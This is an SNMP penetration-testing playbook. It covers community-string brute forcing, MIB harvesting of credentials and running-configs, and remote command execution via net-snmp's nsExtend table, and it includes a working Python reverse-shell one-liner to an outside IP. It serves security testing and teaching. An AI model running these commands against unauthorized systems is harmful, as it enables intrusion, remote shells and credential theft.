Pentesting SNMP (port 161)
When to Use
- Default port
161/udpfor SNMP agents (queries);162/udpfor traps sent server->client;10161/10162when wrapped in TLS/DTLS. - When
nmap/banner showssnmp, e.g.161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public). - Against routers, switches, printers, IoT and servers that expose monitoring data through the Management Information Base (MIB).
- SNMPv1 and v2/2c authenticate with a plaintext community string; SNMPv3 uses real credentials and encryption (dictionary attack is harder).
Quick Enumeration
# Nmap (run SNMP scripts except the slow brute)
nmap --script "snmp* and not snmp-brute" <target>
# Guess community strings (onesixtyone is fast for UDP)
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt <IP> -w 100
hydra -P /usr/share/wordlists/rockyou.txt -v <IP> snmp
# Walk the MIB once a valid community string is known (note the trailing dot)
snmpbulkwalk -c public -v2c 10.10.11.136 .
snmpwalk -v 2c -c public <IP> .1 # Enumerate everything
snmpwalk -v 2c -c public <IP> 1.3.6.1.2.1.4.34.1.3 # IPv6 addresses
snmpwalk -v 2c -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects # extended
# snmp-check parses results into a readable report
snmp-check <IP> -p 161 -c public
# Mass / fast OID scanning with braa (its own SNMP stack)
braa <community>@<IP>:.1.3.6.*
braa ignite123@192.168.1.125:.1.3.6.*
Install MIBs so OIDs resolve to names: apt-get install snmp-mibs-downloader && download-mibs, then comment the mibs : line in /etc/snmp/snmp.conf.
Critical: Checks Most Often Missed
- Default/guessable community strings —
public(read-only) andprivate(read/write) are the classics; vendor strings likeciscoSystems,cable-docsis,ILMIare common too. In v1/v2c a bad community gets no response, so any response means the string is valid. - Writability is per-OID, not per-string — even a
publicstring may allow writing some OIDs. Look forrwcommunity/rwcommunity6/rwuser noauthconfig. Writing returnsnoSuchName/readOnlyonly when blocked. - Sensitive data in MIB walks — running processes (
1.3.6.1.2.1.25.4.2.1.2) and their paths/args may contain passwords; user accounts (1.3.6.1.4.1.77.1.2.25); software (1.3.6.1.2.1.25.6.3.1.2); TCP ports (1.3.6.1.2.1.6.13.1.3). - SNMP-to-RCE with a write community on net-snmp via
nsExtendObjects(run-on-read). - ACL bypass via UDP source spoofing — if only certain IPs may query, spoof one inside the UDP packet and sniff the reply.
How to CONFIRM
- A valid community string: server responds at all to
snmpwalk -v2c -c <string> <IP> .1(v1/v2c silently drop bad strings). - Write access:
snmpsetsucceeds (noreadOnly/noSuchNameerror) — confirm with a re-snmpwalkof the OID you set. - RCE: after injecting via
snmpset, thesnmpwalkofNET-SNMP-EXTEND-MIB::nsExtendObjectsshows the command output (the command executes on read).
Workflow
Step 1: Enumerate
Discover the agent and confirm version. nmap --script "snmp* and not snmp-brute" <target> plus a banner grab. Note SNMP version (1/2c vs 3) because it dictates whether you attack a community string or full creds.
Step 2: Authenticate / unauth access
Guess the community string with onesixtyone/braa/hydra. Confirm by checking for any response. For SNMPv3, enumerate users and attempt a dictionary attack against the auth/priv credentials.
Step 3: Exploit / Extract
With a read string, harvest data and grep the captured .snmp output for high-value items (from Rapid7's harvesting methodology):
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
grep ".1.3.6.1.2.1.1.1.0" *.snmp # sysDesc - identify devices
grep -i "trap" *.snmp # find the private/trap community string
grep -i "login\|fail" *.snmp # failed logons may log passwords as usernames
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp # emails
With a write (rwcommunity) string on net-snmp, escalate to command execution by appending a row to the extend table:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rwstring> <IP> \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
# Confirm execution (run-on-read)
snmpwalk -v2c -c <rwstring> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects
Reverse shell variant (binary must exist and be given an absolute path):
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rwstring> <IP> \
'nsExtendStatus."command10"' = createAndGo \
'nsExtendCommand."command10"' = /usr/bin/python3.6 \
'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Or use mxrch's helper: git clone https://github.com/mxrch/snmp-shell.
Step 4: Post-access / pivot
Use harvested running-config (Cisco private string -> running configs), credentials, and internal IPs/usernames to pivot. Modify values with NetScanTools/snmpset when you hold the private string. Capture trap data on 162/udp for additional intel.
Key Concepts
| Concept | Description |
|---|---|
| Community string | v1/v2c plaintext "password"; public=RO, private=RW (writability is per-OID) |
| OID / MIB | Object Identifier in the standardized MIB tree (e.g. 1.3.6.1.2.1 = MIB-2); MIBs describe where/what data lives |
| SNMPv1/2c vs v3 | v1/2c send everything in plaintext; v3 adds real auth + encryption |
| rwcommunity / rwuser noauth | Config granting full write access to the OID tree -> RCE path on net-snmp |
| run-on-read | NET-SNMP-EXTEND-MIB executes the configured command when the OID is read (via snmpwalk) |
| Traps | Unsolicited packets on 162/udp from agent to manager; may leak config words like "trap" |
Tools & Systems
| Tool | Purpose |
|---|---|
| snmpwalk / snmpbulkwalk | Walk the MIB tree with a known community string |
| snmpget / snmpset | Read a single OID / write OIDs (RCE via nsExtend) |
| snmp-check | Human-readable enumeration report |
| onesixtyone | Fast UDP community-string guesser |
| braa | Mass multi-host SNMP scanner with its own stack |
| hydra | SNMP community brute force |
| nmap snmp- NSE* | Discovery + targeted SNMP scripts |
| Metasploit | auxiliary/scanner/snmp/snmp_login, snmp_enum |
Common Scenarios
Scenario 1: Default community + data leak
public works; an snmpwalk of the process table reveals a service launched with a cleartext password in its command-line arguments.
Scenario 2: Cisco running-config theft
SNMP trap data reveals the private string used on Cisco IOS; it is used to pull the full running configuration (with secrets) from the device.
Scenario 3: Write community to RCE
A device exposes rwcommunity SuP3RPrivCom90; snmpset injects an nsExtend row pointing at /usr/bin/python3, and an snmpwalk triggers the reverse shell.
Output Format
## SNMP Finding
**Service**: SNMP (161/udp)
**Severity**: <Critical|High|Medium>
**Target**: <IP>:161 Version: <v1|v2c|v3>
**Community String**: public (RO) / private (RW)
### Evidence
- Valid community string confirmed: server responded to snmpwalk .1
- Sensitive data extracted: <process args with creds / user list / running-config>
- Write access: snmpset on <OID> succeeded (verified by re-walk)
- RCE: nsExtend command output observed in nsExtendObjects walk
### Reproduction
snmpwalk -v 2c -c public <IP> .1
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rwstring> <IP> 'nsExtendStatus."x"' = createAndGo ...
### Recommendation
1. Disable SNMPv1/v2c; require SNMPv3 with authPriv (SHA + AES)
2. Replace default community strings; never expose RW (rwcommunity) strings
3. Restrict agents to management VLANs and trusted manager IPs (ACLs)
4. Remove rwuser noauth and net-snmp extend access where unused